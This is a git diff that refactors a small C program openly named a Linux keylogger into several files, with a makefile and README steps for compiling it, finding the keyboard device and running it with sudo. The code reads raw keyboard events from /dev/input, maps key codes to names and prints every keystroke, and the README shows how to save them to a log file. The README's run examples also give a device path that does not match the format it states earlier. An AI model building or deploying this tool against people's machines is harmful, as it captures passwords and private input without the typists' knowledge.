separate files

README.md

@@ -1,8 +1,16 @@
 # Linux Keylogger
 
-# How to use
-Find your keyboard device
-Your keyboard device should be in the below format
+# Instructions
+
+- Compile keylogger
+```sh
+$ cd Linux-Keylogger
+$ make
+```
+
+
+- Find your keyboard device
+Your keyboard device should be
 ```
 /dev/input/eventX
 ```
@@ -11,21 +19,16 @@ Find it using
 $ cat /var/log/Xorg.0.log | grep /dev/input | grep -i keyboard
 ```
 
+
 - Run keylogger
 ```sh
-$ sudo bin/keylogger /dev/input/eventX
+$ sudo ./keylogger /dev/input/eventX
 ```
 
 
-Now whatever you type should be printed in the terminal.
-If you want to keep in log file use
+- Run examples
 ```sh
-$ sudo bin/keylogger /dev/input/eventX > logfile.txt
+$ sudo ./keylogger /dev/input3
+$ sudo ./keylogger /dev/input3 > logfile.txt
 ```
 
-
-
-
-@TODO
-1. Find keyboard device automatically
-2. Write logs to structured html file

keylogger.c

@@ -1,17 +1,5 @@
-#include <linux/input.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <unistd.h>
-
-int get_key_press(int fd, struct input_event ev);
-int input_has_errors(int argc, char *argv[]);
-int user_is_root();
-char * get_key_description(int key_code);
-void generate_mappings(char ** mappings);
 
+#include "keylogger.h"
 
 /*
  * returns 0 if user is not root
@@ -58,125 +46,5 @@ int get_key_press(int fd, struct input_event ev) {
 
     // if no key pressed check again
     get_key_press(fd, ev);
-}
-
-
-int main(int argc, char *argv[]) { 
-    // Convert key codes to string values
-    // ex: mappings[code] = "value"
-    char * mappings[1024];
-    int i;
-    for (i=0; i<1024; i++)  mappings[i] = "invalid";
-    generate_mappings(mappings);
-
-
-    // Check for errors
-    if (input_has_errors(argc, argv)) {
-        return -1;
-    }
-    if (!user_is_root()) {
-        return -1;
-    }
-
-    // Start keyboard device as read only
-    int fd;
-    fd = open(argv[1], O_RDONLY);
-
-    // Initialize input event 
-    struct input_event ev;
-
-    // Scan for key strokes and print them
-    while (1){
-        int key_code = get_key_press(fd, ev); // get key code
-        if (key_code < 1024)
-            printf("%s\n",mappings[key_code]); // print value of key code
-    }
-
-    return 0;
-}
-
-
-/*
- * Generates a value for each key stroke code
- */
-void generate_mappings(char ** codes) {
-    codes[1] = "esc";
-    codes[59] = "f1";
-    codes[60] = "f2";
-    codes[61] = "f3";
-    codes[62] = "f4";
-    codes[63] = "f5";
-    codes[64] = "f6";
-    codes[65] = "f7";
-    codes[66] = "f8";
-    codes[67] = "f9";
-    codes[68] = "f10";
-    codes[87] = "f11";
-    codes[88] = "f12";
-    // --
-    codes[41] = "`";
-    codes[2] = "1";
-    codes[3] = "2";
-    codes[4] = "3";
-    codes[5] = "4";
-    codes[6] = "5";
-    codes[7] = "6";
-    codes[8] = "7";
-    codes[9] = "8";
-    codes[10] = "9";
-    codes[11] = "0";
-    codes[12] = "-";
-    codes[13] = "=";
-    codes[14] = "back";
-    // --
-    codes[15] = "tab";
-    codes[16] = "q";
-    codes[17] = "w";
-    codes[18] = "e";
-    codes[19] = "r";
-    codes[20] = "t";
-    codes[21] = "y";
-    codes[22] = "u";
-    codes[23] = "i";
-    codes[24] = "o";
-    codes[25] = "p";
-    codes[26] = "[";
-    codes[27] = "]";
-    codes[43] = "\\";
-    // --
-    codes[58] = "caps";
-    codes[30] = "a";
-    codes[31] = "s";
-    codes[32] = "d";
-    codes[33] = "f";
-    codes[34] = "g";
-    codes[35] = "h";
-    codes[36] = "j";
-    codes[37] = "k";
-    codes[38] = "l";
-    codes[39] = ";";
-    codes[40] = "\"";
-    codes[28] = "\n";
-    // --
-    codes[42] = "shift";
-    codes[44] = "z";
-    codes[45] = "x";
-    codes[46] = "c";
-    codes[47] = "v";
-    codes[48] = "b";
-    codes[49] = "n";
-    codes[50] = "m";
-    codes[51] = ",";
-    codes[52] = ".";
-    codes[53] = "/";
-    codes[54] = "shift";
-    // --
-    codes[29] = "ctrl";
-    codes[125] = "super";
-    codes[56] = "alt";
-    codes[57] = " ";
-    codes[100] = "alt";
-    codes[126] = "super";
-    codes[127] = "right click";
-    codes[97] = "ctrl";
+
 }

keylogger.h

@@ -0,0 +1,19 @@
+#ifndef KEYLOGGER_H_INCLUDED
+#define KEYLOGGER_H_INCLUDED
+
+#include <linux/input.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+
+
+int get_key_press(int fd, struct input_event ev);
+int input_has_errors(int argc, char *argv[]);
+int user_is_root();
+char * get_key_description(int key_code);
+void generate_mappings(char ** mappings);
+
+#endif

main.c

@@ -0,0 +1,45 @@
+#include <linux/input.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+
+#include "keylogger.h"
+#include "mappings.h"
+
+
+int main(int argc, char *argv[]) {
+    // Convert key codes to string values
+    // ex: mappings[code] = "value"
+    char * mappings[1024];
+    int i;
+    for (i=0; i<1024; i++)  mappings[i] = "invalid";
+    generate_mappings(mappings);
+
+
+    // Check for errors
+    if (input_has_errors(argc, argv)) {
+        return -1;
+    }
+    if (!user_is_root()) {
+        return -1;
+    }
+
+    // Start keyboard device as read only
+    int fd;
+    fd = open(argv[1], O_RDONLY);
+
+    // Initialize input event
+    struct input_event ev;
+
+    // Scan for key strokes and print them
+    while (1){
+        int key_code = get_key_press(fd, ev); // get key code
+        if (key_code < 1024)
+            printf("%s\n",mappings[key_code]); // print value of key code
+    }
+
+    return 0;
+}

makefile

@@ -0,0 +1,17 @@
+CC = gcc
+
+keylogger: main.o keylogger.o mappings.o
+	$(CC) -o keylogger main.o keylogger.o mappings.o
+
+
+main.o: main.c keylogger.h mappings.h
+	$(CC) -c main.c -o main.o
+
+keylogger.o: keylogger.c keylogger.h
+	$(CC) -c keylogger.c -o keylogger.o
+
+mappings.o: mappings.c mappings.h
+	$(CC) -c mappings.c -o mappings.o
+
+clean:
+	$(RM) *.o keylogger

mappings.c

@@ -0,0 +1,86 @@
+#include "mappings.h"
+
+/*
+ * Generates a value for each key stroke code
+ */
+void generate_mappings(char ** codes) {
+    codes[1] = "esc";
+    codes[59] = "f1";
+    codes[60] = "f2";
+    codes[61] = "f3";
+    codes[62] = "f4";
+    codes[63] = "f5";
+    codes[64] = "f6";
+    codes[65] = "f7";
+    codes[66] = "f8";
+    codes[67] = "f9";
+    codes[68] = "f10";
+    codes[87] = "f11";
+    codes[88] = "f12";
+    // --m
+    codes[41] = "`";
+    codes[2] = "1";
+    codes[3] = "2";
+    codes[4] = "3";
+    codes[5] = "4";
+    codes[6] = "5";
+    codes[7] = "6";
+    codes[8] = "7";
+    codes[9] = "8";
+    codes[10] = "9";
+    codes[11] = "0";
+    codes[12] = "-";
+    codes[13] = "=";
+    codes[14] = "back";
+    // --
+    codes[15] = "tab";
+    codes[16] = "q";
+    codes[17] = "w";
+    codes[18] = "e";
+    codes[19] = "r";
+    codes[20] = "t";
+    codes[21] = "y";
+    codes[22] = "u";
+    codes[23] = "i";
+    codes[24] = "o";
+    codes[25] = "p";
+    codes[26] = "[";
+    codes[27] = "]";
+    codes[43] = "\\";
+    // --
+    codes[58] = "caps";
+    codes[30] = "a";
+    codes[31] = "s";
+    codes[32] = "d";
+    codes[33] = "f";
+    codes[34] = "g";
+    codes[35] = "h";
+    codes[36] = "j";
+    codes[37] = "k";
+    codes[38] = "l";
+    codes[39] = ";";
+    codes[40] = "\"";
+    codes[28] = "\n";
+    // --
+    codes[42] = "shift";
+    codes[44] = "z";
+    codes[45] = "x";
+    codes[46] = "c";
+    codes[47] = "v";
+    codes[48] = "b";
+    codes[49] = "n";
+    codes[50] = "m";
+    codes[51] = ",";
+    codes[52] = ".";
+    codes[53] = "/";
+    codes[54] = "shift";
+    // --
+    codes[29] = "ctrl";
+    codes[125] = "super";
+    codes[56] = "alt";
+    codes[57] = " ";
+    codes[100] = "alt";
+    codes[126] = "super";
+    codes[127] = "right click";
+    codes[97] = "ctrl";
+}

mappings.h

@@ -0,0 +1,6 @@
+#ifndef MAPPINGS_H_INCLUDED
+#define MAPPINGS_H_INCLUDED
+
+void generate_mappings(char ** codes);
+
+#endif